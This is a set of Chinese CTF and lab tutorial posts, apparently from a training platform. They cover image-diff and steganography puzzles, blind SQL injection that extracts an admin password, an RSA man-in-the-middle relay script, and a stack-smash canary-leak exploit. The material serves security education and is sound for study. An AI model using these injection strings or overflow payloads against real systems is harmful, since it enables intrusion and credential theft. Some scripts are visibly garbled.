尝试用代码解CTF题-找茬游戏
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天玩一个找茬游戏。但是我们不是用眼睛找,我们用代码找。 本文实验地址:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111111233100001&。 最近做的题基本都是用工具做题,这次来尝试一下用代码解题。 来看题目解压附件cry200.zip,得到两张图片(附件在c盘根目录下的解密200文件夹中) 我们一般就是比较两张图片的像素,用程序进行对比(这段代码在c盘根目录下的解密200文件夹中有) import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStreamReader; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; public class PicTest2 { public static void main(String[] args) throws IOException { int i,j; int rgb1[] = new int[3]; int rgb2[] = new int[3]; File file1 = new File("C:\1.png");// 实例化file对象,并设置读取图片路径 File file2 = new File("C:\2.png"); File file3 = new File("C:\3.png"); BufferedImage bi1 = null; // 像素缓冲区开始为空 BufferedImage bi2 = null; BufferedImage bi3 = null; bi1 = ImageIO.read(file1); bi2 = ImageIO.read(file2); bi3 = ImageIO.read(file3); int width = bi1.getWidth(); int height = bi1.getHeight(); for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { int pixel1 = bi1.getRGB(i, j); rgb1[0] = (pixel1 & 0xff0000) >> 16; rgb1[1] = (pixel1 & 0xff00) >> 8; rgb1[2] = (pixel1 & 0xff); int pixel2 = bi2.getRGB(i, j); rgb2[0] = (pixel2 & 0xff0000) >> 16; rgb2[1] = (pixel2 & 0xff00) >> 8; rgb2[2] = (pixel2 & 0xff); bi3.setRGB(i, j, Integer.parseInt(Integer.toHexString(rgb1[0]^rgb2[0])+Integer.toHexString(rgb1[1]^rgb2[1])+Integer.toHexString(rgb1[2]^rgb2[2]),16)); } } ImageIO.write(bi3, "PNG", file3); //写入文件 } } 这里运行没有成功,看一下代码里面的地址。需要把1.png和2.png放到c盘根目录下(程序中已经指定为c盘根目录)把1.png复制到c盘根目录下一份,重命名为3.png打开eclipse,新建一个工程,运行代码(自己安装eclipse,安装程序在c盘根目录下的解密200文件夹中有) 然后打开3.png,如下图 隐隐约约可以看到图中有个二维码(这是真的很隐约) 那我们再加点代码让他看得更清楚些在ImageIO.write(bi3, "PNG", file3); 上面加入下面的代码(需要添加的这段代码在c盘根目录下的解密200文件夹中有) for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { //System.out.println(bi3.getRGB(i, j)); if(bi3.getRGB(i, j)==-16777216) bi3.setRGB(i, j, -1); } } 添加了代码之后,再运行 再次打开3.png,如下图 扫码即可得到flag。 这道题是真题,当年难倒了一大片人。题目有迷惑性,要用程序对比像素。用代码解游戏题虽然是一种思路,但是速度应该会慢一些。 这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
Oracle数据库手工盲注
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  Oracle数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品。是目前世界上使用最为广泛的数据库管理系统。基于“客户端/服务器”模式结构,客户端应用程序与用户交互,接收用户信息,并向服务器发送请求,服务器系统负责管理数据信息和各种操作数据的活动。 Oracle数据库特征: 1)支持多用户、大事务量的处理 2)数据安全性和完整性的有效控制 3)支持分布式数据处理 4)移植性强 本次实验使用的是Oracle Database Express Edition 11g Release 2。 Sql注入形成的主要原因是: 由于程序员的安全意识薄弱,在编写代码时没有对用户输入的特殊字符进行处理,导致将特殊字符附带在参数中直接与数据库进行交互。 由于对and,select等关键字没有过滤。所以接下来我们可以使用and,select等构造sql语句来得到管理员帐号密码。 操作开始,我们先进入实验题目地址 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015012211084300001 实验步骤一 1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接 2.网址后加and 1=1返回正常 3.加and 1=2返回错误,说明存在注入漏洞。 4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。 5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大 and (select count(*) from admin)=1,返回正常说明只有一个管理员。 6.已知表的前提下,判断表中字段结构 and (select count(name) from admin)>=0返回正常,说明存在name字段 and (select count(pass) from admin)>=0返回错误,说明不存在pass字段 经过猜测,存在pwd字段, 实验步骤二 7.接下来采用ASCII码折半法猜解管理员帐号和密码 判断管理员帐号的长度 and (select count(*) from admin where length(name)>=5)=1 说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成 8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1 说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin 9.相同方法猜解密码 and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文 and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d ......重复操作...... and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8 完成上述操作可以确定帐号为:admin密码为:admin888 打开http://10.1.1.59/login.jsp,输入猜解出的用户名和密码 提示登录成功 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
MISC 从标题中找信息
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  在做隐写的时候,思路很重要,当然有时候会感觉思路不够用,那怎么办呢?记住看隐写的题目名字很重要,因为很多时候,隐写题的标题里就隐藏了信息。 本文实验地址为:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610044700001。 进入实验机,打开http://www.ctfmisc.com/firstbl00d/后,我们仅仅看到一张图片以及一段简单的文字描述,除了网页的标题“BASE64 & MD5 & COOKIE”外,表面上没有任何有用的信息。 继续看题目,此时查看页面的Cookie也看不到任何有用的信息。 这里找不到异常是不是可以看一下图片本身是否携带了提示信息(比如Exif等)。将网页中的xctf.jpg图片保存下来之后,通过Exif.py文件,通可以读取xctf.jpg中的Exif信息,如图所示: 发现了一个可疑的字符串RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc= 这明显就是一个base64题目的标题也有说明我们解密一下在主机的桌面有一个JPK工具,打开JPK,输入RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc=,在JPK的菜单中依次选择ASCII、Decode、Base64菜单项,就可以对其进行解码操作了,得到的结果为FABA838F8BB28E75FF65F34D4F9430D7。 注意标题,这是md5加密,我们网页在线解密一下 套路防不胜防,xctf。 进行做题访问http://www.ctfmisc.com/firstbl00d/xctf.php,网页的内容仍然没有有用的提示信息,不过网页的标题是COOKIE,因此我们可以查看网页的Cookie。使用Google Chrome浏览器打开xctf.php页面,按下F12调出开发者工具,切换到Network选项卡,按F5刷新页面,就可以看到Cookie里面的内容了,如图所示: Cookie内容为next-step=bjN4dDV0M3A%3D,其中%3D为等于号“=”的编码,因此字符串也就是bjN4dDV0M3A=,这也是一个BASE64编码的字符串,再次使用JPK工具对其进行解码,得到明文n3xt5t3p。 我们访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p 这个URL,发现页面跳转到了http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.html,这本是再正常不过的事情,不过根据页面的文字提示“你刚才看见KEY了吗”,是不是在跳转的过程中还有什么提示信息呢?同样在Google Chrome浏览器中按下F12打开开发者工具,并切换到Network选项,再次访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p页面,我们看到了两个301跳转,如图所示: 对于访问目录的URL,通过一次跳转来到index.html页面是正常的事情,但是这里居然有两次跳转,显然就不太正常了。我们点击两个301跳转,看看里面都有什么信息。我们看到的是,第二个301跳转的HTTP响应头信息中存在这样一个选项Set-Cookie:check=0,其他就没有什么特殊的了。 这里需要发挥一下想象,我们访问的是n3xt5t3p,而最终跳转到的页面是n3xt5t3p/index.html,因为有两次跳转,也就是说在这中间还有一个页面。因为之前访问的都是php页面,所以我们猜测其中有一个index.php(是的,CTF比赛的时候就是需要大胆的去猜想,然后通过实际操作来进行验证)。访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.php,没有出现404错误,而是跳转到了index.html,实际结果表明index.php页面是存在的。 结合上面的分析,可能需要Cookie中的check=1时,访问index.php才不会进行跳转。 我们尝试一下用,burp截包,然后我们把Cookie字段的check=0改为check=1,然后点击Forward按钮将HTTP请求发出去,如图所示: 此时,我们就可以在浏览器端看到进一步的提示信息了,提示信息如下: WORD is a common english word len(WORD) = 4 md5(WORD + '_heetian') = '84323c9b4fdb2539b4fb69b82b0189e7' FLAG = md5(WORD) 这里嗯!看到flag了md5(WORD),但是好像需要解密。利用python的hashlib库可以十分方便的进行MD5哈希值计算,对于4个字母的单词,我们可以通过暴力枚举的方式,方便而又快速的找到上面的Flag。将下面的内容保存为一个py文件,双击后等待一会就可以看到运算结果了。 import hashlib import string def crackMd5(dst): dst = dst.lower() for a in string.lowercase: for b in string.lowercase: for c in string.lowercase: for d in string.lowercase: word = a + b + c +d + "_heetian" tmp = hashlib.md5(word).hexdigest() if dst == tmp: return word return None if name == "main": raw_input(crackMd5("84323c9b4fdb2539b4fb69b82b0189e7")) Python基于缩进来控制语句块,如果直接复制运行时提示错误,也可以访问C:\Misc\crackMd5.py来进行计算。计算的结果为misc,如图所示: 这一类的题目不要以为得到了flag就轻松了,后面还有解密过程。思维要严谨,不能老是看题目表象,真题往往没那么容易得出答案。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF 出一道Misc的题
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  今天看一下是CTF种misc是怎么出题的吧。了解出题人的意图也可以更好的培养我们的解题思路。 本次实验地址https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110116300200001,想操作一下的同学可以去试一下。 先用一个简单的题目当例子,首先打开“C:\CTF Misc\1.jpg”文件,如下,看到一个酷酷的头像。 我们再使用HexEdit工具打开1.jpg文件。将目光移到最下面,我们发现有一个Key:Hello World。 我们除了可以使用HexEdit去查看文件,也可以使用它去修改文件,默认打开文件是只读文件,当我们输入的时候HexEdit会提示是否关闭只读模式。这里我们必须关闭,才能进行修改,点击确定之后,就可以进行修改了。 也就是说出题的时候随意修改底下的数字就可以了?另外再看下一个操作使用copy命令对信息进行隐藏。 图片里面隐藏压缩包什么的就是靠这个?点击“开始à运行”输入cmd,进入了一个黑乎乎的窗口。我们这里主要了解的是copy命令,我们可以输入”help copy“,查看帮助。 可以看到这底下有两个文件。 这里我将要使用copy把文件2.jpg和2.txt合并成为“2.1.jpg”。 说明:/A 表示一个 ASCII 文本文件。(txt就是ASCII 文本文件) /B 表示一个二进位文件。(图片文件jpg就是二进制文件) 使用画板打开2.1.jpg文件,发现和2.jpg并没有什么区别,使用HexEdit工具或者文本编辑器(文本编辑器不推荐)打开,将目光移到文件尾。 使用copy除了可以将txt文件捆绑到图片文件中去,还可以将rar、zip等文件捆绑进去。 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF 密码学应用中间人攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。 本次试验地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015011915514700001。 看下实验描述实验主机在8002和8003端口上分别运行了两个服务,这两个服务互相进行通信,且通信内容会进行加密处理,请对这两个服务进行分析,并还原出被加密的flag字符串。提示:你需要充当中间人完成两个端口之间信息的相互转发工作。 来看实验操作,使用nc分别连接实验主机的8002和8003端口(如果服务未运行,请双击C:\Crypto\6\Bob.pyw以及C:\Crypto\6\Alice.pyw脚本),其中8002端口会返回信息“Let's encrypt with RSA!”,而8003端口则没有返回任何信息,根据题目所给的提示“你需要充当中间人完成两个端口之间信息的相互转发工作”,我们将8002返回的信息转发给8003端口,8003返回”OK”,然后把“OK”转发给8002端口,这样不断进行测试,如图所示: 这感觉像RSA加密,我们先获取一下完整的消息内容编写一个Python脚本来完成流量转发的操作(位于实验主机的C:\Crypto\6\TraceLog.py): #!/usr/bin/env python # -- coding:utf-8 -- import socket if name == "main": s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect(("127.0.0.1", 8002)) s2.connect(("127.0.0.1", 8003)) while True: data = s1.recv(65535) if not data: break print "[8002] %s" % data s2.sendall(data) data = s2.recv(65535) print "[8003] %s" % data s1.sendall(data) s1.close() s2.close() 通过如下命令重定向将数据写入文件:TraceLog.py > log.txt 这个数据量很大,我们一个一个分析整个通信流程如下([8002]表示8002端口发出的内容,[8003]表示8003端口发出的内容): [8002] Let's encrypt with RSA! [8003] OK [8002] My public key is {e1,n1} [8003] My public key is {e2,n2} 8002 8003 双方在完成密钥交换之后,分别发送了一条经过RSA加密的消息。现在使用nc单独对8002端口进行测试,我们使用的测试公钥为{7,2449},交互过程如下: 提示2048位的RSA是安全,这里推测所给密钥长度不够,因此连接被关闭了。 这里是值得RSA算法里面的N值,使用PyCrypto库可以方便的生成2048位的RSA密钥,示例代码如下(位于实验主机的C:\Crypto\6\genKey.py): from Crypto.PublicKey import RSA if name == "main": key = RSA.generate(2048) print "e = %d" % key.e print "e = %d" % key.d print "n = %d" % key.p * key.q 运行结果如下图所示: 先看一下中间人攻击模型在通信双方使用RSA对通信内容进行加密时,如果在交换密钥之前通信链路被劫持,那么就可以对其发起中间人攻击。假设Alice和Bob为正常的通信双方,Mallory为中间人,那么中间人攻击模型如下图所示: 中间人攻击的流程如下: \1. Alice将自己的公钥发送给Bob; \2. Alice的流量被Mallory截获,Mallory冒充Alice,并将自己的公钥发送给Bob; \3. Bob收到Mallory的公钥,并将自己的公钥发给Mallory; \4. Mallory冒充Bob,回复自己的公钥给Alice; 经过上面的步骤之后,Mallory分别与Alice和Bob建立了连接并完成RSA公钥的交换,因为Alice和Bob都使用了Mallory的公钥对消息进行了加密,因此,Mallory可以使用自己的私钥对消息进行解密还原出明文,达到监听通信内容的目的,甚至,Mallory可以对消息进行篡改,然后发送给对应的接收方。 也就是说他们直接发送了flag但是通过了RSA加密,我们要做的就是通过中间人把内容截取并且解密。 经过实验步骤一以及实验步骤二的分析,我们已经知道了通信双方的协议细节,以及知道通过中间人攻击可以窃听通信内容,中间人只要使用2048位的RSA密钥,即可完成通信内容的解密,攻击脚本的代码如下(位于实验主机的C:\Crypto\6\RSAMITM.py): #!/usr/bin/env python # -- coding:utf-8 -- import socket from Crypto.PublicKey import RSA def splitkey(data): e, n = data[18:len(data)-1].split(",") return int(e), int(n) def genkey(): key = RSA.generate(2048) e = key.e d = key.d n = key.p * key.q return e, d, n def wrapkey(e, n): return "My public key is {%d,%d}" % (e, n) def RsaEncrypt(msg, e, n): res = [] for ch in msg: res.append(str(pow(ord(ch), e, n))) return "[%s]" % (",".join(res)) def RsaDecrypt(msg, d, n): msg = msg[1:len(msg)-1].split(",") res = [] for ch in msg: res.append(chr(pow(int(ch), d, n))) return "".join(res) def mitm(): s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s1.connect(("127.0.0.1", 8002)) s2.connect(("127.0.0.1", 8003)) # hello message data1 = s1.recv(4096) s2.sendall(data1) data2 = s2.recv(4096) s1.sendall(data2) # key1 data1 = s1.recv(4096) e1, n1 = splitkey(data1) # MITM key e, d, n = genkey() publickey = wrapkey(e, n) s2.sendall(publickey) # key2 data2 = s2.recv(4096) e2, n2 = splitkey(data2) s1.sendall(publickey) # decrypt flag1 data1 = s1.recv(40960) flag1 = RsaDecrypt(data1, d, n) data2 = RsaEncrypt(flag1, e2, n2) s2.sendall(data2) # decrypt flag2 data2 = s2.recv(40960) flag2 = RsaDecrypt(data2, d, n) data2 = RsaEncrypt(flag2, e1, n1) # flag print "[ FLAG ] %s%s" % (flag1, flag2) if name == "main": mitm() 在命令行下运行脚本,等待一段时间后即可得到flag。 注意RSA加密和中间人攻击的流程,是解题关键。 如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
栈溢出技巧(下)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  基于报错类的栈保护 canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子: #include <stdio.h> void main(int argc, char **argv) {   char buf[10];   scanf("%s", buf); } pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector 看一下其汇编代码 Dump of assembler code for function main:   0x0000000000000740 <+0>: push   rbp   0x0000000000000741 <+1>: mov   rbp,rsp   0x0000000000000744 <+4>: sub   rsp,0x30   0x0000000000000748 <+8>: mov   DWORD PTR [rbp-0x24],edi   0x000000000000074b <+11>:   mov   QWORD PTR [rbp-0x30],rsi   0x000000000000074f <+15>:   mov   rax,QWORD PTR fs:0x28   0x0000000000000758 <+24>:   mov   QWORD PTR [rbp-0x8],rax   0x000000000000075c <+28>:   xor   eax,eax   0x000000000000075e <+30>:   lea   rax,[rbp-0x12]   0x0000000000000762 <+34>:   mov   rsi,rax   0x0000000000000765 <+37>:   lea   rdi,[rip+0xb8]       # 0x824   0x000000000000076c <+44>:   mov   eax,0x0   0x0000000000000771 <+49>:   call   0x5f0 <__isoc99_scanf@plt>   0x0000000000000776 <+54>:   mov   rax,QWORD PTR [rbp-0x30]   0x000000000000077a <+58>:   lea   rdx,[rip+0xa6]       # 0x827   0x0000000000000781 <+65>:   mov   QWORD PTR [rax],rdx   0x0000000000000784 <+68>:   nop   0x0000000000000785 <+69>:   mov   rax,QWORD PTR [rbp-0x8]   0x0000000000000789 <+73>:   xor   rax,QWORD PTR fs:0x28   0x0000000000000792 <+82>:   je     0x799 <main+89>   0x0000000000000794 <+84>:   call   0x5e0 <__stack_chk_fail@plt>   0x0000000000000799 <+89>:   leave     0x000000000000079a <+90>:   ret     End of assembler dump. 找到<+15> <+24>和<+69><+73>处   0x000000000000074f <+15>:   mov   rax,QWORD PTR fs:0x28   0x0000000000000758 <+24>:   mov   QWORD PTR [rbp-0x8],rax .....   0x0000000000000785 <+69>:   mov   rax,QWORD PTR [rbp-0x8]   0x0000000000000789 <+73>:   xor   rax,QWORD PTR fs:0x28 前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。 __attribute__ ((noreturn)) __stack_chk_fail (void) {     __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) __fortify_fail (msg)   const char *msg; {     /* The loop is added only to keep gcc happy. */         while (1)             __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") } libc_hidden_def (__fortify_fail) 最终会调用fortify_fail函数中的libc_message (2, "* %s *: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") ,关键点来了。一、可以打印信息二、__libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是* argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out *** stack smashing detected ***: ./a.out terminated 段错误 如果我们在程序中强行修改__libc_argv[0]会怎么样? #include <stdio.h> void main(int argc, char **argv) {   char buf[10];   scanf("%s", buf);   argv[0] = "stack smash!"; } pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out *** stack smashing detected ***: stack smash! terminated 段错误 可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。 stack smash原理 调试fortify_fail 函数,找到libc_message函数的部分汇编代码: 0x7ffff7b331d0 <__fortify_fail+16>   mov   rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8> 然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。 对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out *** stack smashing detected ***: ./a.out terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out *** stack smashing detected ***: terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out *** stack smashing detected ***: terminated 段错误 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out 段错误 buf(0x7fffffffcd00)和__libc_argv0处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值: 达不到覆盖的距离:     21:0108│     0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out' 刚好达到覆盖的距离,读入\x00刚好覆盖到: 21:0108│     0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */ 覆盖形成的地址在内存中可以找到: 21:0108│     0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0 Cannot access memory at address 0x7fffff004141: 21:0108│     0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */   因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。 题目一 2015 年 32C3 CTF readme题目分析如下: unsigned __int64 sub_4007E0() { __int64 v0; // rbx int v1; // eax __int64 v3; // [rsp+0h] [rbp-128h] unsigned __int64 v4; // [rsp+108h] [rbp-20h] v4 = __readfsqword(0x28u); __printf_chk(1LL, "Hello!\nWhat's your name? "); if ( !_IO_gets(&v3) ) LABEL_9:   _exit(1); v0 = 0LL; __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: "); while ( 1 ) {   v1 = _IO_getc(stdin);   if ( v1 == -1 )     goto LABEL_9;   if ( v1 == 10 )     break;   byte_600D20[v0++] = v1;   if ( v0 == 32 )     goto LABEL_8; } memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0)); LABEL_8: puts("Thank you, bye!"); return __readfsqword(0x28u) ^ v4; } pwn@pwn-PC:~/Desktop$ ./readme.bin Hello! What's your name? aaa Nice to meet you, aaa. Please overwrite the flag: aaa Thank you, bye! pwn@pwn-PC:~/Desktop$ checksec readme.bin [*] '/home/pwn/Desktop/readme.bin'   Arch:     amd64-64-little   RELRO:   No RELRO   Stack:   Canary found   NX:       NX enabled   PIE:     No PIE (0x400000)   FORTIFY: Enabled 程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: ./readme.bin terminated pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***:   terminated 因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下: gdb-peda$ find /home Searching for '/home' in: None ranges Found 5 results, display max 5 items: [stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") [stack] : 0x7fffffffec71 ("/home/pwn/Desktop") [stack] : 0x7fffffffec91 ("/home/pwn") [stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority") [stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin") gdb-peda$ find 0x7fffffffd0c8 Searching for '0x7fffffffd0c8' in: None ranges Found 2 results, display max 2 items:   libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") [stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin") gdb-peda$ distance $rsp 0x7fffffffcde8 From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords 这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2. 可以在IDA下发现.data段的变量 .data:0000000000600D20 byte_600D20     db 33h                 ; DATA XREF: sub_4007E0+6E↑w .data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0 只需要将此变量进行显示即可,于是构造payload: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***:   terminated 没有成功,再看代码逻辑。   0x40083f:   call   0x4006a0 <_IO_getc@plt>   0x400844:   cmp   eax,0xffffffff   0x400847:   je     0x40089f   0x400849:   cmp   eax,0xa   0x40084c:   je     0x400860   0x40084e:   mov   BYTE PTR [rbx+0x600d20],al   0x400854:   add   rbx,0x1   0x400858:   cmp   rbx,0x20   0x40085c:   jne   0x400838 这是第二次输入的汇编部分,其中执行了mov BYTE PTR [rbx+0x600d20],al(此时rbx = 0),也就是byte_600D20[v0++] = v1,这就把byte_600D20变量循环覆盖掉,如下: pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+"BBBB"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAA..... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: BBBB terminated 但是当ELF文件比较小的时候,它的不同区段可能会被多次映射,在ELF内存映射的时候,bss段会被映射两次,也就是说flag有备份,我们可以使用另一处的地址进行输出,如下: gdb-peda$ find 32C3 Searching for '32C3' in: None ranges Found 2 results, display max 2 items: readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...") readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...") 此时选择0x400d20进行构造payload即可成功打印出来。 pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"\n"'|./readme.bin Hello! What's your name? Nice to meet you, AAAAAAAA.... Please overwrite the flag: Thank you, bye! *** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated 段错误 由于题目在远程服务器上,而且LIBC_FATAL_STDERR=0,这个错误提示只会显示在远端,不会返回到我们这端。因此必须设置如下环境变量LIBC_FATAL_STDERR=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。那么环境变量在哪?有什么用?在libc_message函数的源代码可以看到LIBC_FATAL_STDERR_使用读取了环境变量libc_secure_getenv。如果它没有被设置、或者为空(\x00或NULL),那么stderr被重定向到_PATH_TTY(这通常是/dev/tty),因此将错误消息不被发送,只在服务器侧可见。位置在 from pwn import * env_addr = 0x600d20 flag_addr = 0x400d20 r = process('./read.bin') r.recvuntil("What's your name? ") r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr)) r.sendline("LIBC_FATAL_STDERR_=1") r.recvuntil("*** stack smashing detected ***: ") log.info("The flag is: %s" % r.recvuntil(" ").strip()) 本地测试: 题目二 2018年网鼎杯中guess题目,相对于题目一,flag的位置在栈中而不是bss段,而且ASLR后地址是无法预测的。 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] int v5; // [rsp+1Ch] [rbp-84h] __int64 v6; // [rsp+20h] [rbp-80h] __int64 v7; // [rsp+28h] [rbp-78h] char buf; // [rsp+30h] [rbp-70h] char s2; // [rsp+60h] [rbp-40h] unsigned __int64 v10; // [rsp+98h] [rbp-8h] v10 = __readfsqword(0x28u); v7 = 3LL; LODWORD(stat_loc.__uptr) = 0; v6 = 0LL; sub_4009A6(); HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) {   perror("./flag.txt");   _exit(-1); } 